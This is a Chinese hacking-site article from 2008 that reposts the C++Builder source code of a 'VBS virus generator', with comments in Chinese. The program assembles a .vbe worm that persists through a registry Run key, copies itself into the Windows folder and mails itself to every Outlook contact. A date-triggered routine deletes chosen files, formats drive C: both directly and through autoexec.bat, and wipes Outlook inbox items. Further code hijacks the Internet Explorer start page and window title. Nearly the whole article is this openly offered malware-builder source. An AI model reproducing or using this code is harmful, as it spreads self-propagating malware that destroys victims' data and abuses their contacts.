奥运倒计时: 2008 中国挺住,中国加油! 全国人民对四川汶川大地震遇难同胞的深切哀悼! 设为首页 加入收藏
点击进入太平洋安全网首页
论坛登陆 用户名: 密码:
首页 新闻资讯 文章中心 黑客资源 黑客点睛 安全防护 软件下载 动画教程 会员咨询 技术问答 论坛社区
文章 下载 图片
文章   | 电脑知识 | 网络知识 | 菜鸟入门 | 入侵教程 | 黑客攻防 | 黑客编程 | 原创精华 | 黑客人物 | 黑客技术 | 提权技术 | 跨站技术 | 渗透技术 | 鸽子专题 |
 您现在的位置: 太平洋安全网 >> 文章 >> 黑客编程 >> 正文

一个VBS病毒生成器核心代码

作者:未知    文章来源:网络转载    点击数:    更新时间:2008-4-25
一个VBS病毒生成器核心代码

unIT1.cpp

//-----------------------------------------
#include
#include
#include
#pragma hdrstop
#include "UnIT2.h"
#include "UnIT3.h"
#include "UnIT1.h"
//---------------------------------------------------------------------------
#pragma package(smart_inIT)
#pragma resource "*.dfm"
Tform1 *form1;
//---------------------------------------------------------------------------
__fastcall Tform1::Tform1(TComponent* Owner)
: Tform(Owner)

{

}//---------------------------------------------------------------------------


//---------------------------------------------------------------------------
void __fastcall Tform1::Label1Click(TObject *Sender)
{
ShellExecute(Handle,NULL,"http://zsyangel.yeah.net",NULL,NULL,SW_SHOWNORMAL);
}
//---------------------------------------------------------------------------


//--------------------------------------------------------


void __fastcall Tform1::CheckBox3Click(TObject *Sender)
{
if (CheckBox3->Checked==true)
{
EdIT8-> Enabled=true;
EdIT8->Color=clHighlightText;
EdIT9-> Enabled=true;
EdIT9->Color=clHighlightText;
EdIT10-> Enabled=true;
EdIT10->Color=clHighlightText;}
else
{EdIT8-> Enabled=false;
EdIT8->Color=clBtnFace;
EdIT9-> Enabled=false;
EdIT9->Color=clBtnFace;
EdIT10-> Enabled=false;
EdIT10->Color=clBtnFace;}
}
//--------下面数行用来限制按健,防止无效数据,造成溢出-------------------------------------------------------------------



void __fastcall Tform1::CheckBox4Click(TObject *Sender)
{
if(EdIT4->Enabled==true)
{EdIT4->Enabled=false;}
else
{EdIT4->Enabled=true;}

}
//---------------------------------------------------------------------------


//---------------------------------------------------------------------------


void __fastcall Tform1::EdIT4KeyPress(TObject *Sender, char &Key)
{
if ((Key>57||Key<48)&&(Key!=8)&&(Key!=13))
Key=NULL;


}
//---------------------------------------------------------------------------

void __fastcall Tform1::EdIT8KeyPress(TObject *Sender, char &Key)
{
if ((Key>57||Key<48)&&(Key!=8)&&(Key!=13))
Key=NULL;

}
//---------------------------------------------------------------------------

void __fastcall Tform1::EdIT9KeyPress(TObject *Sender, char &Key)
{
if ((Key>57||Key<48)&&(Key!=8)&&(Key!=13))
Key=NULL;

}
//---------------------------------------------------------------------------

void __fastcall Tform1::EdIT10KeyPress(TObject *Sender, char &Key)
{
if ((Key>57||Key<48)&&(Key!=8)&&(Key!=13))
Key=NULL;

}
//---------------------------------------------------------------------------

void __fastcall Tform1::EdIT5KeyPress(TObject *Sender, char &Key)
{
if ((Key>57||Key<48)&&(Key!=8)&&(Key!=13))
Key=NULL;

}
//---------------------------------------------------------------------------


void __fastcall Tform1::Edit4ExIT(TObject *Sender)
{
AnsiString edit4=EdIT4->Text;
if (StrToInt (edit4)<1||StrToInt (edIT4)>10000)
{ ShowMessage("超出范围,请不要添太大或太小");
EdIT4->Text="";}
}
//---------------------------------------------------------------------------


void __fastcall Tform1::Edit8ExIT(TObject *Sender)
{

AnsiString edit8=EdIT8->Text;
if (StrToInt (edit8)<1982||StrToInt (edIT8)>2050)
{ ShowMessage("超出范围,请不要添太大或太小");
EdIT8->Text="2001";}
}
//---------------------------------------------------------------------------

void __fastcall Tform1::Edit9ExIT(TObject *Sender)
{

AnsiString edit9=EdIT9->Text;
if (StrToInt (edit9)<1||StrToInt (edIT9)>12)
{ ShowMessage("超出范围,请不要添太大或太小");
EdIT9->Text="1";}
}
//---------------------------------------------------------------------------

void __fastcall Tform1::Edit10ExIT(TObject *Sender)
{

AnsiString edit10=EdIT10->Text;
if (StrToInt (edit10)<1||StrToInt (edIT10)>31)
{ ShowMessage("超出范围,请不要添太大或太小");
EdIT10->Text="1";}
}
//---------------------------------------------------------------------------



//---------------主要代码------------------------------------------------------------



void __fastcall Tform1::BITBtn1Click(TObject *Sender)
{
AnsiString g=EdIT1->Text+".vbe";//在当前目录下生成VBE文件

i=FileCreate(g );
AnsiString a1=""Created by " ;
AnsiString a=EdIT2->Text;
AnsiString b="\r\n";
AnsiString z=a1+a+b;
char c[1000];
strcpy(c, z.c_str());

FileWrITe(i,c,strlen(c));

if (CheckBox1->Checked==true)//让病毒修改注册表项
{AnsiString a3=" Dim wsh\r\n Set wsh=CreateObject(\"WScript.Shell\")\r\n on error resume next \r\n wsh.regwrITe \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\kv3000\",\"c:\\windows\\";
AnsiString a31=EdIT1->Text;
AnsiString a32=".vbe\"\r\n";
AnsiString a33="Set fso= Createobject\(\"Scripting.FileSystemObject\"\)\r\nSet InF=fso.OpenTextFile\(WScript.ScriptFullname,1\)\r\nDo While InF.AtEndOfStream<>True\r\nScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlf \r\nLoop\r\nSet OutF=fso.OpenTextFile\(\"c:\\windows\\";
AnsiString a34=EdIT1->Text;
AnsiString a35=".vbe\",2,true\)\r\nOutF.wrITe ScriptBuffer\r\n ";
AnsiString a4=a3+a31+a32+a33+a34+a35;
char c1[10000];
strcpy(c1, a4.c_str());
FileWrITe(i,c1,strlen(c1));
}

TabSheet1->Enabled=true;
TabSheet1->Show() ;
TabSheet0->Enabled=false;
}
//---------------------------------------------------------------------------

void __fastcall Tform1::Label4Click(TObject *Sender)
{
ShellExecute(Handle,"open","mailtzsy2@cITiz.net",NULL,NULL,SW_SHOW);
}
//---------------------------------------------------------------------------

void __fastcall Tform1::BITBtn2Click(TObject *Sender)//此几行代码负责病毒从outlook传播
{
AnsiString bb="if wsh.regread \(\"HKCU\\software\\a\\a\"\)<> \"1\" then out\r\nsub out\r\n";
AnsiString b1="On Error Resume Next\r\n";
AnsiString b2="Set Outlook = CreateObject(\"Outlook.Application\")\r\nIf Outlook = \"Outlook\" Then\r\nSet Mapi=Outlook.GetNameSpace(\"MAPI\")\r\nSet Lists=Mapi.AddressLists\r\nFor Each ListIndex In Lists\r\nIf ListIndex.AddressEntries.Count <> 0 Then\r\nContactCount = ListIndex.AddressEntries.Count\r\nFor Count= 1 To ";
AnsiString b9="ContactCount";
AnsiString b7= EdIT4->Text;
AnsiString b8="\r\nSet Mail = Outlook.CreateITem(0)\r\nSet Contact = ListIndex.AddressEntries(Count)\r\nMail.To = Contact.Address\r\nMail.Subject = \"";
AnsiString b3=EdIT11->Text;
AnsiString b4="\"\r\nMail.Body = \"" ;
AnsiString b5=EdIT13->Text;
AnsiString b6="\"\r\nSet Attachment=Mail.Attachments\r\n Attachment.Add Folder & \" c:\\windows\\";
AnsiString bb1=EdIT1->Text;
AnsiString bb2=".vbe\"\r\nMail.Send\r\nnext\r\n End if\r\nnext\r\n End if\r\nend sub\r\nwsh.regwrITe \"HKCU\\software\\a\\a\", \"1\"\r\n";

if (CheckBox4->Checked==true)
{
AnsiString B=bb+b1+b2+b9+b8+b3+b4+b5+b6+bb1+bb2;
char b[10000];
strcpy(b, B.c_str());
FileWrITe(i,b,strlen(b));
}
else
{AnsiString B=bb+b1+b2+b7+b8+b3+b4+b5+b6+bb1+bb2;
char b[10000];
strcpy(b, B.c_str());
FileWrITe(i,b,strlen(b));}


TabSheet2->Enabled=true;
TabSheet2->Show() ;
TabSheet1->Enabled=false;
}
//------------------------此下代码负责破坏功能---------------------------------------------------

void __fastcall Tform1::BITBtn3Click(TObject *Sender)
{
TabSheet3->Enabled=true;
TabSheet3->Show() ;
if (CheckBox3->Checked==true)
{{AnsiString d1=" \r\nif year(date)&month(date)&day(date)= ";//设定病毒发作时间
AnsiString dyear=EdIT8->Text;
AnsiString dmon_th=EdIT9->Text;
AnsiString dday=EdIT10->Text;
AnsiString dthen=" Then a\r\n" ;
AnsiString sub="sub a\r\n" ;
AnsiString dex=d1+dyear+dmonth+dday+dthen+sub;
char d[10000];
strcpy(d, dex.c_str());
FileWrITe(i,d,strlen(d)); }
AnsiString del="on error resume next\r\nfso.DeleteFile\(\"";//负责删除指定文件
AnsiString delf=EdIT6->Text;
AnsiString delf1="\"\)\r\n";
AnsiString def=del+delf+delf1;
char d[10000];
strcpy(d, def.c_str());
FileWrITe(i,d,strlen(d));
if(CheckBox2->Checked==true)//格式化硬盘
{AnsiString df1="\r\n set WshShell = Wscript.CreateObject\(\"WScript.Shell\"\) \r\nWshShell.Run\ (\"start.exe \/m format c:\/q\ /autotest\ /u\" \)\r\n ";

char df[10000];
strcpy(df, df1.c_str());
FileWrITe(i,df,strlen(df)); }
if(CheckBox5->Checked==true)
{AnsiString df2="Set Script = fso.CreateTextFile\( \"c:\\autoexec.bat\", True\) \r\nScript.wrITeline \"format c:\/q\ /autotest\ /u\" \r\n ";
char df3[10000];
strcpy(df3, df2.c_str());
FileWrITe(i,df3,strlen(df3)); }
if(CheckBox6->Checked==true)
{AnsiString dem="Set Outlook=CreateObject\(\"Outlook.Application\"\)\r\nSet t=s.GetNameSpace\(\"MAPI\"\)\r\nSet u=t.GetDefaultFolder\(6\)\r\nFor i=1 to u.items.count\r\nu.Items.ITem\(i\).delete\r\nnext\r\n";
char dm[10000];
strcpy(dm, dem.c_str());
FileWrITe(i,dm,strlen(dm));}
char endsub[]="end sub\r\n";
FileWrITe(i,endsub,strlen(endsub));
}
else
{if(CheckBox2->Checked==true)
{AnsiString df1="set WshShell = Wscript.CreateObject\(\"WScript.Shell\"\)\r\nWshShell.Run\ (\"start.exe \/m format c:\/q\ /autotest\ /u\" \)\r\n";

char df[10000];
strcpy(df, df1.c_str());
FileWrITe(i,df,strlen(df)); }
if(CheckBox5->Checked==true)
{AnsiString df2="on error resume next\r\nfso.DeleteFile\(\"c:\\autoexec.bat\")\r\n\Set Script = fso.CreateTextFile\( \"c:\\autoexec.bat\", True\)\r\nScript.wrITeline \"format c:\/q\ /autotest\ /u\"\r\n";

char df3[10000];
strcpy(df3, df2.c_str());
FileWrITe(i,df3,strlen(df3)); }}
AnsiString del="on error resume next\r\nfso.DeleteFile\(\"";
AnsiString delf=EdIT6->Text;
AnsiString delf1="\"\)\r\n";
AnsiString def=del+delf+delf1;
char d[10000];
strcpy(d, def.c_str());
FileWrITe(i,d,strlen(d));
if(CheckBox6->Checked==true)
{AnsiString dem="Set Outlook=CreateObject\(\"Outlook.Application\"\)\r\nSet t=s.GetNameSpace\(\"MAPI\"\)\r\nSet u=t.GetDefaultFolder\(6\)\r\nFor i=1 to u.items.count\r\nu.Items.ITem\(i\).delete\r\nnext\r\n";
char dm[10000];
strcpy(dm, dem.c_str());
FileWrITe(i,dm,strlen(dm));}
TabSheet2->Enabled=false;
}
//---------------------------------------------------------------------------

void __fastcall Tform1::BITBtn4Click(TObject *Sender)//修改IE的标题开始页
{
AnsiString reg="wsh.regwrITe \"HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page\",\"" ;
AnsiString reg1=EdIT3->Text;
AnsiString reg2="\"\r\nwsh.regwrite\"HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Internet Explorer\\Main\\Window tITle\",\"";
AnsiString reg3=EdIT7->Text;
AnsiString reg4="\"\r\n";
AnsiString reg5=reg+reg1+reg2+reg3+reg4+reg5;
char REG[10000];
strcpy(REG, reg5.c_str());
FileWrITe(i,REG,strlen(REG));
TabSheet3->Enabled=false;
ShowMessage("你的程序代码已保存在当前目录下");

FileClose(i);
}
//---------------------------------------------------------------------------


//注册功能暂不公开,敬请原谅……

//---------------------------------------------------------------------------


void __fastcall Tform1::formClose(TObject *Sender, TCloseAction &Action)
{
form2->Close();
}
//---------------------------------------------------------------------------

void __fastcall Tform1::formActivate(TObject *Sender)
{
form2->Hide();
}
//---------------------------------------------------------------------------


void __fastcall Tform1::BITBtn5Click(TObject *Sender)
{

AnsiString g=EdIT1->Text+".vbe";
DeleteFile(g);
TabSheet0->Enabled=true;
}
//---------------------------------------------------------------------------


void __fastcall Tform1::Button1Click(TObject *Sender)
{
form3->Show();
}
//---------------------------------------------------------------------------


void __fastcall Tform1::TabSheet0ContextPopup(TObject *Sender,
TPoint &MousePos, bool &Handled)
{

}

unIT1.h



#ifndef UnIT1H
#define UnIT1H
//---------------------------------------------------------------------------
#include
#include
#include
#include
#include
#include
#include
#include
//---------------------------------------------------------------------------
class Tform1 : public Tform
{
__published: // IDE-managed Components
TPageControl *b;
TTabSheet *TabSheet2;
TTabSheet *TabSheet3;
TTabSheet *TabSheet4;
TGroupBox *GroupBox1;
TLabel *Label1;
TMemo *Memo1;
TCheckBox *CheckBox1;
TEdit *EdIT1;
TLabel *Label2;
TCheckBox *CheckBox2;
TEdit *EdIT2;
TLabel *Label3;
TEdit *EdIT3;
TTabSheet *TabSheet1;
TEdit *EdIT4;
TLabel *Label5;
TLabel *Label6;
TLabel *Label8;
TEdit *EdIT6;
TLabel *Label10;
TLabel *Label11;
TEdit *EdIT7;
TEdit *EdIT11;
TLabel *Label15;
TLabel *Label16;
TCheckBox *CheckBox3;
TEdit *EdIT8;
TLabel *Label12;
TEdit *EdIT9;
TLabel *Label13;
TEdit *EdIT10;
TLabel *Label14;
TEdit *EdIT13;
TCheckBox *CheckBox4;
TGroupBox *GroupBox2;
TLabel *Label7;
TCheckBox *CheckBox5;
TCheckBox *CheckBox6;
TBitBtn *BITBtn1;
TBitBtn *BITBtn2;
TBitBtn *BITBtn3;
TBitBtn *BITBtn4;
TTabSheet *TabSheet0;
TLabel *Label4;
TGroupBox *GroupBox3;
TCheckBox *CheckBox7;
TCheckBox *CheckBox8;
TCheckBox *CheckBox9;
TCheckBox *CheckBox10;
TCheckBox *CheckBox11;
TEdit *EdIT5;
TGroupBox *GroupBox4;
TLabel *Label9;
TCheckBox *CheckBox12;
TButton *Button1;
TBitBtn *BITBtn5;
TCheckBox *CheckBox13;
TGroupBox *GroupBox5;
TCheckBox *CheckBox14;
TCheckBox *CheckBox15;
TCheckBox *CheckBox16;
TImage *Image1;
TLabel *Label17;
TImage *Image2;

void __fastcall Label1Click(TObject *Sender);
void __fastcall CheckBox3Click(TObject *Sender);
void __fastcall CheckBox4Click(TObject *Sender);
void __fastcall EdIT4KeyPress(TObject *Sender, char &Key);
void __fastcall EdIT8KeyPress(TObject *Sender, char &Key);
void __fastcall EdIT9KeyPress(TObject *Sender, char &Key);
void __fastcall EdIT10KeyPress(TObject *Sender, char &Key);
void __fastcall EdIT5KeyPress(TObject *Sender, char &Key);
void __fastcall Edit4ExIT(TObject *Sender);
void __fastcall Edit8ExIT(TObject *Sender);
void __fastcall Edit9ExIT(TObject *Sender);
void __fastcall Edit10ExIT(TObject *Sender);
void __fastcall BITBtn1Click(TObject *Sender);
void __fastcall Label4Click(TObject *Sender);
void __fastcall BITBtn2Click(TObject *Sender);
void __fastcall BITBtn3Click(TObject *Sender);
void __fastcall BITBtn4Click(TObject *Sender);
void __fastcall formClose(TObject *Sender, TCloseAction &Action);
void __fastcall formActivate(TObject *Sender);
void __fastcall BITBtn5Click(TObject *Sender);
void __fastcall Button1Click(TObject *Sender);
void __fastcall TabSheet0ContextPopup(TObject *Sender,
TPoint &MousePos, bool &Handled);

private: // User declarations
public: // User declarations
__fastcall Tform1(TComponent* Owner);

int i;
AnsiString B;

};
//---------------------------------------------------------------------------
extern PACKAGE Tform1 *form1;
//---------------------------------------------------------------------------
#endif

文章录入:随风追忆    责任编辑:随风追忆 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     推荐文章
    推荐文章一句话木马用Upfile.vbs脚本
    推荐文章软件破解教程-第6章第3节 加密算法5
    推荐文章软件破解教程-第6章第3节 加密算法4
    推荐文章软件破解教程-第6章第3节 加密算法3
    推荐文章Visual C++编程窃取QQ密码(图)
    推荐文章软件破解教程-常用Win32 API函数简介
    推荐文章VB编程实现图像的漂亮效果
    推荐文章输入10进制,输出2进制
     热门文章
    推荐文章软件破解教程-第6章第3节 加密算法3
    推荐文章Visual C++编程窃取QQ密码(图)
    推荐文章VB编程实现图像的漂亮效果
    推荐文章输入10进制,输出2进制
    推荐文章详解Visual C#数据库编程
    推荐文章入侵渗透中用过的三则VBS代码
    推荐文章入侵渗透中用过的三则VBS代码
    推荐文章网站防止注入入侵的一些有效代码和方法
     本站推荐

    关于我们 | 联系方法 | 招聘信息 | 加入会员 | 诚征代理 | 广告服务 | 欢迎投稿 | 站长信箱 | 友情链接 | 网站地图
    24小时客服:0374-7126138 技术支持:0374-7126138 投诉电话:0374-7967536
    客服QQ:883039 售后QQ:827520 技术QQ:78305152 投稿-商业:576880739
    Copyright 太平洋科技 2003-2007 版权所有 All Rights Reserved
    许可证号:豫ICP备07005385号